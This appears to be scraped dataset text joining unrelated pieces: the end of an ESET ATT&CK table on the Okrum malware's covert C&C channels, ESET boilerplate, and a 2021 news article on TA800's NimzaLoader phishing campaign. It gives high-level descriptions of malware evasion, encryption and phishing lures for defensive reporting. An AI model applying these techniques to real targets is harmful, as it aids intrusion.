| Exfiltration | T1090 | Connection Proxy | Okrum identifies a proxy server if it exists and uses it to make HTTP requests |
| Exfiltration | T1132 | Data Encoding | The communication with the C&C server is base64 encoded |
| Command and Control | T1001 | Data Obfuscation | The communication with the C&C server is hidden in the Cookie and Set-Cookie headers of HTTP requests |
| Command and Control | T1071 | Standard Application Layer Protocol | Okrum uses HTTP for communication with its C&C |
| Command and Control | T1032 | Standard Cryptographic Protocol | Okrum uses AES to encrypt network traffic. The key can be hardcoded or negotiated with the C&C server in the registration phase. |
## ABOUT ESET
For 30 years, ESET® has been developing industry-leading IT security software and services for businesses and consumers worldwide. With solutions ranging from endpoint and mobile security to encryption and two-factor authentication, ESET’s high-performing, easy-to-use products give consumers and businesses the peace of mind to enjoy the full potential of their technology. ESET unobtrusively protects and monitors 24/7, updating defenses in real time to keep users safe and businesses running without interruption. Evolving threats require an evolving IT security company. Backed by R&D centers worldwide, ESET becomes the first IT security company to earn 100 Virus Bulletin VB100 awards, identifying every single “in-the-wild” malware without interruption since 2003. For more information, visit www.eset.com or follow us on LinkedIn, Facebook, and Twitter.
|
# Spear-Phishing Campaign Distributes Nim-Based Malware
Cybercrime, Fraud Management & Cybercrime, Fraud Risk Management
**NimzaLoader Uses Nim Programming Language to Avoid Detection**
**Prajeet Nair** • March 12, 2021
An ongoing spear-phishing campaign by the threat group TA800 is distributing a new malware loader based on the Nim programming language that's designed to help avoid detection, according to the cybersecurity company Proofpoint.
“TA800 has predominantly used BazaLoader since April of 2020, but on February 3, 2021, they distributed this new malware we are calling NimzaLoader,” says Sherrod DeGrippo, senior director of Proofpoint's threat research and detection team. “This malware is exclusive to TA800, and we've only seen it distributed once. This could be a sign of more to come.”
Lewis Jones, threat intelligence analyst at cybersecurity company Talion, notes: "The use of Nim is uncommon for malware in the threat landscape. However, we have recently seen a Nim-based downloader used by the Zebrocy threat group. It is likely that the threat actors are switching to Nim to avoid detection by defense teams who may not be familiar with the language."
Proofpoint researchers also found evidence suggesting NimzaLoader is being used to download and execute Cobalt Strike as its secondary payload.
## NimzaLoader Malware
On Feb. 3, researchers discovered the Nim-based malware was being distributed via phishing. The messages are often designed to look as if they came from within the targeted company, DeGrippo says. “Lures have included hard-to-resist subjects, such as payments, meetings, termination, bonuses, and complaints in the subject line or body of the email,” he says.
The message contained links portrayed as a PDF preview that are actually links to a GetResponse landing page, Proofpoint discovered. "The landing pages contained a link to the 'PDF' which was the NimzaLoader executable hosted on Slack and used a fake Adobe icon in an attempt to fool the user," the researchers note.
Nim-related strings used by the malware are encrypted when stored by using an XOR-based algorithm and a single key per string. One of those encrypted strings is a timestamp used as an expiration date for the malware, Proofpoint says.
"At the time of research, all known NimzaLoader C2s were down, but a public malware sandbox run seems to show it receiving a 'powershell' command that ultimately delivered a Cobalt Strike beacon," the researchers say. "We are unable to validate or confirm this finding, but it does align with past TA800 tactics, techniques, and procedures."
## Evolving Tactics
The switch to using Nim is a good example of how threat actors are constantly changing tactics to avoid detection, Jones says. "The activity has so far been linked to TA800, who are a threat group that has targeted a wide range of industries infecting victims with banking Trojans and malware loaders," Jones says. "Previous activity by the group has often shown how the group has completed initial reconnaissance on targets to specifically target individuals with tailored phishing emails attempting to look more genuine and increasing the success of the campaigns."
In the fourth quarter of last year, TA800 was responsible for a wave of attacks against the healthcare sector using a loader called BazaLoader, DeGrippo says. “BazaLoader, under the control of a separate threat actor, subsequently installed a ransomware strain called Ryuk.” DeGrippo says Proofpoint's analysis corroborates analysis by other researchers that NimzaLoader is not a BazaLoader variant. That's because NimzaLoader is written in a different programming language and does not use the same code-flattening obfuscator.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.